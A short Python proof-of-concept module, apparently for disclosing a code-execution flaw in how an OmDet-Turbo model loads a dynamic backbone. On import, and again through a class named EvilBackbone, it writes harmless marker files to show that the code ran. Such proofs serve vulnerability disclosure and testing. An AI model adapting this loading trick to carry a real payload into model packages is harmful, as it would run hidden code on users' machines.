import os
from pathlib import Path
MARKER_DIR = Path(os.environ.get("POC_MARKER_DIR", "/tmp/omdet_turbo_poc_markers"))
MARKER_DIR.mkdir(parents=True, exist_ok=True)
(MARKER_DIR / "RCE_MARKER").write_text("dynamic AutoBackbone module imported/executed\n")

import torch.nn as nn

class EvilBackbone(nn.Module):
    def __init__(self):
        super().__init__()

    @classmethod
    def _from_config(cls, config, **kwargs):
        (MARKER_DIR / "FROM_CONFIG_MARKER").write_text("EvilBackbone._from_config called\n")
        return cls()